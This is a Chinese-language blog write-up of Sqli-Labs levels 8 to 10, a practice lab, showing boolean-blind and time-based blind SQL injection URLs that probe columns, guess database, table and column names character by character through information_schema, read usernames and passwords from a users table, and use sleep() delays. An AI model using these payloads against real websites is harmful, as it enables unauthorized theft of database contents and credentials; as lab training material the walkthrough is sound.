Sqli-Labs less8-10

less-8

 

前置基础知识:

前几关我们用到了布尔盲注的办法,还有一种盲注就是时间盲注,不仅可以用于有回显的盲注,还能用于没有回显的盲注

函数:sleep(1):等待1秒之后再返回页面做出反应

IF(condition,A,B)如果条件condition为true,则执行语句A,否则执行B 例: select if(1>2,4,5); 返回的结果是5.(如果是在mysql命令行中使用,首先要use xxx数据库才行)

 

 

 

首先,通过观察可以发现存注入漏洞,并且是有回显的布尔盲注

 

 

 

 

 

 

所以,我们可以用之前布尔盲注的办法:

判断列数:http://192.168.5.100/sqli-labs/Less-8/?id=1' order by 3--+

 

 

 

2. http://127.0.0.1/sqli/Less-8/?id=1‘ order by 3--+ 当3改为4的时候,you are in….消失,说明存在三列。

3. http://127.0.0.1/sqli/Less-8/?id=1' and left((select database()),1)=0x73 --+猜出来当前第一位是s

或者是使用: http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select database()),1,1)) > 16--+ 此时是有回显的。

4. http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+ 先通过大于号或者小于号来判断数据库的第一个字母是哪一个

可以使用http://127.0.0.1/sqli/Less-8/?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+ 此时可以验证数据库中第五个数据库的第一个字母是s

5. http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+ 判断security数据库中的第4个表中的数据的第一位是否大于11

也可以使用 http://127.0.0.1/sqli/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+ 验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是 u

6. http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select column_name from information_schema.columns where table_name = 0x7573657273 limit 1,1),1,1)) >10 --+ 同理,进行判断表中的字段,然后进行判断。可以得到username,password;

7. http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select username from security.users limit 0,1),1,1)) >10 --+ 同理,进行判断,最后再使用password进行判断。

 

 

 因为猜解速度较慢,可以配合burpsuite或者是sqlmap的脚本来使用。

 

 

第二种办法就是用时间盲注的办法:

 

http://192.168.5.100/sqli-labs/Less-8/?id=1' and if(length(database()) = 8,1,sleep(5))--+

 当为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)

 

 

http://192.168.5.100/sqli-labs/Less-8/?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。

 http://192.168.5.100/sqli-labs/Less-8/?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+ 同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果。

 

 

实际上这两种办法差不多,都是利用猜解的办法,比较费时,都不如爆破或者利用叫脚本方便。

 

less-9

首先通过语句观察,我们可以判断存在注入漏洞:

 

http://192.168.5.100/sqli-labs/Less-9/?id=1' order by 100--+

 

 我们利用order by 语句发现不论怎么试都能正常回显, 所以这一关与上几关并不相同,只能使用上面第八关中的第二种办法 时间延迟盲注,步骤相同,参考上面即可

 

less-10

与第九关完全一样,只是将id的单引号变成了双引号,所以方法也是相同。

 

前十关就是php中get的方式,下面的关卡则不相同。

posted @ 2020-01-20 19:17  N0r4h  阅读(774)  评论(0编辑  收藏  举报